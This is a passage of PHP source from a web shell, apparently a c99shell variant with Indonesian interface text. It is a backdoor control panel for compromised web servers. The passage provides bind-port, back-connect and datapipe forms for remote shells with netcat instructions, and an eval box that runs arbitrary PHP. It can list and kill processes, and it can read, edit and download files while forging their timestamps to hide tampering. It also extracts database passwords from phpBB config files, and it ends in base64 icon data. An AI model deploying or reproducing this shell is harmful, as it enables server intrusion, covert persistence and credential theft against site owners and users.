2329 $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
2330 $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
2331 $v[1] = str_replace("//","/",$v[1]);
2332 $retbind = myshellexec($v[1]." > /dev/null &");
2333 sleep(5);
2334 $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
2335 if (!$sock) {echo "v1n Ga bisa connect ke localhost:".$datapipe["localport"]."! Mungkin sebaiknya Lo konfigurasi firewall Lo.";}
2336 else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! Mungkin sebaiknya Lo pake NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";}
2337 }
2338 echo "<br>";
2339 }
2340 }
2341 ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>"> Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>"> <select name="bind[src]"><?php
2342 foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
2343 ?></select> <input type=submit name=bindsubmit value="Bind"></form>
2344<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>"> Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>"> <select name="bc[src]"><?php
2345foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
2346?></select> <input type=submit name=bcsubmit value="Connect"></form>
2347klik "Connect" abis bukain port buat itu. You should use NetCat©, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
2348<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>"> Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>"> <select name="datapipe[src]"><?php
2349foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
2350?></select> <input type=submit name=dpsubmit value="Run"></form><b>Catatan:</b>sources bakalan di-download dari remote server.<?php
2351}
2352if ($act == "processes")
2353{
2354 echo "<b>Proses:</b><br>";
2355 if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
2356 else {$handler = "tasklist";}
2357 $ret = myshellexec($handler);
2358 if (!$ret) {echo "Ga bisa di-execute \"".$handler."\"!";}
2359 else
2360 {
2361 if (empty($processes_sort)) {$processes_sort = $sort_default;}
2362 $parsesort = parsesort($processes_sort);
2363 if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
2364 $k = $parsesort[0];
2365 if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
2366 else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
2367 $ret = htmlspecialchars($ret);
2368 if (!$win)
2369 {
2370 if ($pid)
2371 {
2372 if (is_null($sig)) {$sig = 9;}
2373 echo "Sending signal ".$sig." to #".$pid."... ";
2374 if (posix_kill($pid,$sig)) {echo "OK.";}
2375 else {echo "ERROR.";}
2376 }
2377 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
2378 $stack = explode("\n",$ret);
2379 $head = explode(" ",$stack[0]);
2380 unset($stack[0]);
2381 for($i=0;$i<count($head);$i++)
2382 {
2383 if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
2384 }
2385 $prcs = array();
2386 foreach ($stack as $line)
2387 {
2388 if (!empty($line))
2389 {
2390 echo "<tr>";
2391 $line = explode(" ",$line);
2392 $line[10] = join(" ",array_slice($line,10));
2393 $line = array_slice($line,0,11);
2394 if ($line[0] == get_current_user()) {$line[0] = "<font color=#00ff00>".$line[0]."</font>";}
2395 $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
2396 $prcs[] = $line;
2397 echo "</tr>";
2398 }
2399 }
2400 }
2401 else
2402 {
2403 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
2404 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
2405 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
2406 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
2407 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
2408 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
2409 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
2410 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
2411 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
2412 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
2413 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
2414 $ret = convert_cyr_string($ret,"d","w");
2415 $stack = explode("\n",$ret);
2416 unset($stack[0],$stack[2]);
2417 $stack = array_values($stack);
2418 $head = explode(" ",$stack[0]);
2419 $head[1] = explode(" ",$head[1]);
2420 $head[1] = $head[1][0];
2421 $stack = array_slice($stack,1);
2422 unset($head[2]);
2423 $head = array_values($head);
2424 if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
2425 else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
2426 if ($k > count($head)) {$k = count($head)-1;}
2427 for($i=0;$i<count($head);$i++)
2428 {
2429 if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
2430 }
2431 $prcs = array();
2432 foreach ($stack as $line)
2433 {
2434 if (!empty($line))
2435 {
2436 echo "<tr>";
2437 $line = explode(" ",$line);
2438 $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
2439 $line[2] = intval(str_replace(" ","",$line[2]))*1024;
2440 $prcs[] = $line;
2441 echo "</tr>";
2442 }
2443 }
2444 }
2445 $head[$k] = "<b>".$head[$k]."</b>".$y;
2446 $v = $processes_sort[0];
2447 usort($prcs,"tabsort");
2448 if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
2449 $tab = array();
2450 $tab[] = $head;
2451 $tab = array_merge($tab,$prcs);
2452 echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
2453 foreach($tab as $i=>$k)
2454 {
2455 echo "<tr>";
2456 foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
2457 echo "</tr>";
2458 }
2459 echo "</table>";
2460 }
2461}
2462if ($act == "eval")
2463{
2464 if (!empty($eval))
2465 {
2466 echo "<b>Hasil exekusi dari code PHP ini</b>:<br>";
2467 $tmp = ob_get_contents();
2468 $olddir = realpath(".");
2469 @chdir($d);
2470 if ($tmp)
2471 {
2472 ob_clean();
2473 eval($eval);
2474 $ret = ob_get_contents();
2475 $ret = convert_cyr_string($ret,"d","w");
2476 ob_clean();
2477 echo $tmp;
2478 if ($eval_txt)
2479 {
2480 $rows = count(explode("\r\n",$ret))+1;
2481 if ($rows < 10) {$rows = 10;}
2482 echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
2483 }
2484 else {echo $ret."<br>";}
2485 }
2486 else
2487 {
2488 if ($eval_txt)
2489 {
2490 echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
2491 eval($eval);
2492 echo "</textarea>";
2493 }
2494 else {echo $ret;}
2495 }
2496 @chdir($olddir);
2497 }
2498 else {echo "<b>Exekusi code PHP</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
2499 echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
2500}
2501if ($act == "f")
2502{
2503 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
2504 {
2505 if (file_exists($d.$f)) {echo "<center><b>Akses denied!!! (".htmlspecialchars($d.$f).")!</b></center>";}
2506 else {echo "<center><b>File ga ada (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
2507 }
2508 else
2509 {
2510 $r = @file_get_contents($d.$f);
2511 $ext = explode(".",$f);
2512 $c = count($ext)-1;
2513 $ext = $ext[$c];
2514 $ext = strtolower($ext);
2515 $rft = "";
2516 foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
2517 if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
2518 if (empty($ft)) {$ft = $rft;}
2519 $arr = array(
2520 array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
2521 array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
2522 array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
2523 array("Code","code"),
2524 array("Session","phpsess"),
2525 array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
2526 array("SDB","sdb"),
2527 array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
2528 array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
2529 array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
2530 array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
2531 array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
2532 );
2533 echo "<b>Viewing file: <img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
2534 foreach($arr as $t)
2535 {
2536 if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=#00ff00>".$t[0]."</font></a>";}
2537 elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
2538 else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
2539 echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
2540 }
2541 echo "<hr size=\"1\" noshade>";
2542 if ($ft == "info")
2543 {
2544 echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
2545 if (!$win)
2546 {
2547 echo "<tr><td><b>Owner/Group</b></td><td> ";
2548 $ow = posix_getpwuid(fileowner($d.$f));
2549 $gr = posix_getgrgid(filegroup($d.$f));
2550 echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
2551 }
2552 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
2553 $fi = fopen($d.$f,"rb");
2554 if ($fi)
2555 {
2556 if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
2557 else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
2558 $n = 0;
2559 $a0 = "00000000<br>";
2560 $a1 = "";
2561 $a2 = "";
2562 for ($i=0; $i<strlen($str); $i++)
2563 {
2564 $a1 .= sprintf("%02X",ord($str[$i]))." ";
2565 switch (ord($str[$i]))
2566 {
2567 case 0: $a2 .= "<font>0</font>"; break;
2568 case 32:
2569 case 10:
2570 case 13: $a2 .= " "; break;
2571 default: $a2 .= htmlspecialchars($str[$i]);
2572 }
2573 $n++;
2574 if ($n == $hexdump_rows)
2575 {
2576 $n = 0;
2577 if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
2578 $a1 .= "<br>";
2579 $a2 .= "<br>";
2580 }
2581 }
2582 //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
2583 echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
2584 }
2585 $encoded = "";
2586 if ($base64 == 1)
2587 {
2588 echo "<b>Base64 Encode</b><br>";
2589 $encoded = base64_encode(file_get_contents($d.$f));
2590 }
2591 elseif($base64 == 2)
2592 {
2593 echo "<b>Base64 Encode + Chunk</b><br>";
2594 $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
2595 }
2596 elseif($base64 == 3)
2597 {
2598 echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
2599 $encoded = base64_encode(file_get_contents($d.$f));
2600 $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
2601 }
2602 elseif($base64 == 4)
2603 {
2604 $text = file_get_contents($d.$f);
2605 $encoded = base64_decode($text);
2606 echo "<b>Base64 Decode";
2607 if (base64_encode($encoded) != $text) {echo " (failed)";}
2608 echo "</b><br>";
2609 }
2610 if (!empty($encoded))
2611 {
2612 echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
2613 }
2614 echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
2615<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr>
2616<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr>
2617<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr>
2618<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr>
2619<P>";
2620 }
2621 elseif ($ft == "html")
2622 {
2623 if ($white) {@ob_clean();}
2624 echo $r;
2625 if ($white) {c99shexit();}
2626 }
2627 elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
2628 elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
2629 elseif ($ft == "phpsess")
2630 {
2631 echo "<pre>";
2632 $v = explode("|",$r);
2633 echo $v[0]."<br>";
2634 var_dump(unserialize($v[1]));
2635 echo "</pre>";
2636 }
2637 elseif ($ft == "exe")
2638 {
2639 $ext = explode(".",$f);
2640 $c = count($ext)-1;
2641 $ext = $ext[$c];
2642 $ext = strtolower($ext);
2643 $rft = "";
2644 foreach($exeftypes as $k=>$v)
2645 {
2646 if (in_array($ext,$v)) {$rft = $k; break;}
2647 }
2648 $cmd = str_replace("%f%",$f,$rft);
2649 echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
2650 }
2651 elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
2652 elseif ($ft == "code")
2653 {
2654 if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
2655 {
2656 $arr = explode("\n",$r);
2657 if (count($arr == 18))
2658 {
2659 include($d.$f);
2660 echo "<b>phpBB configuration is detected in this file!<br>";
2661 if ($dbms == "mysql4") {$dbms = "mysql";}
2662 if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
2663 else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
2664 echo "Parameters for manual connect:<br>";
2665 $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
2666 foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
2667 echo "</b><hr size=\"1\" noshade>";
2668 }
2669 }
2670 echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
2671 if (!empty($white)) {@ob_clean();}
2672 highlight_file($d.$f);
2673 if (!empty($white)) {c99shexit();}
2674 echo "</div>";
2675 }
2676 elseif ($ft == "download")
2677 {
2678 @ob_clean();
2679 header("Content-type: application/octet-stream");
2680 header("Content-length: ".filesize($d.$f));
2681 header("Content-disposition: attachment; filename=\"".$f."\";");
2682 echo $r;
2683 exit;
2684 }
2685 elseif ($ft == "notepad")
2686 {
2687 @ob_clean();
2688 header("Content-type: text/plain");
2689 header("Content-disposition: attachment; filename=\"".$f.".txt\";");
2690 echo($r);
2691 exit;
2692 }
2693 elseif ($ft == "img")
2694 {
2695 $inf = getimagesize($d.$f);
2696 if (!$white)
2697 {
2698 if (empty($imgsize)) {$imgsize = 20;}
2699 $width = $inf[0]/100*$imgsize;
2700 $height = $inf[1]/100*$imgsize;
2701 echo "<center><b>Ukuran:</b> ";
2702 $sizes = array("100","50","20");
2703 foreach ($sizes as $v)
2704 {
2705 echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
2706 if ($imgsize != $v ) {echo $v;}
2707 else {echo "<u>".$v."</u>";}
2708 echo "</a> ";
2709 }
2710 echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
2711 }
2712 else
2713 {
2714 @ob_clean();
2715 $ext = explode($f,".");
2716 $ext = $ext[count($ext)-1];
2717 header("Content-type: ".$inf["mime"]);
2718 readfile($d.$f);
2719 exit;
2720 }
2721 }
2722 elseif ($ft == "edit")
2723 {
2724 if (!empty($submit))
2725 {
2726 if ($filestealth) {$stat = stat($d.$f);}
2727 $fp = fopen($d.$f,"w");
2728 if (!$fp) {echo "<b>Ga bisa tulis ke file!</b>";}
2729 else
2730 {
2731 echo "<b>Tersimpan!</b>";
2732 fwrite($fp,$edit_text);
2733 fclose($fp);
2734 if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
2735 $r = $edit_text;
2736 }
2737 }
2738 $rows = count(explode("\r\n",$r));
2739 if ($rows < 10) {$rows = 10;}
2740 if ($rows > 30) {$rows = 30;}
2741 echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
2742 }
2743 elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
2744 else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
2745 }
2746}
2747}
2748else
2749{
2750
2751
2752 @ob_clean();
2753 $images = array(
2754"arrow_ltr"=>
2755"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
2756"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
2757"back"=>
2758"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
2759"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
2760"Wg0JADs=",
2761"buffer"=>
2762"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
2763"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
2764"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
2765"change"=>
2766"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
2767"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
2768"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
2769"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
2770"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
2771"zMshADs=",
2772"delete"=>
2773"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
2774"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
2775"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
2776"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
2777"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
2778"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2779"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
2780"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
2781"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
2782"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
2783"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
2784"download"=>
2785"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
2786"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
2787"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
2788"forward"=>
2789"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
2790"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
2791"WqsJADs=",
2792"home"=>
2793"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
2794"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
2795"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
2796"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
2797"mode"=>
2798"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
2799"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
2800"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
2801"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
2802"refresh"=>
2803"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
2804"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
2805"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
2806"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
2807"search"=>
2808"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
2809"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
2810"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
2811"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
2812"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
2813"setup"=>
2814"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
2815"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
2816"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
2817"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
2818"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
2819"small_dir"=>
